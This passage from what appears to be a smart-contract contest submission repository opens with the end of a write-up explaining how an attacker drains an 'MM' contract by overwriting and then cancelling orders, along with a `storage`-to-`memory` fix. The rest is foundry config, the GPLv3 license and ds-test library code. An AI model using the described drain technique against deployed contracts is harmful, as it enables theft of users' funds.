After placing the order that overwrites old orders, the hacker can simply
cancel all their orders, until the MM contract is completely drained.
The fix is to replace `storage` by `memory` in the mentioned line.
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/foundry.toml
================================================
[default]
src = 'src'
out = 'out'
libs = ['lib']
remappings = ['ds-test/=lib/ds-test/src/']
# See more config options https://github.com/gakonst/foundry/tree/master/config
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
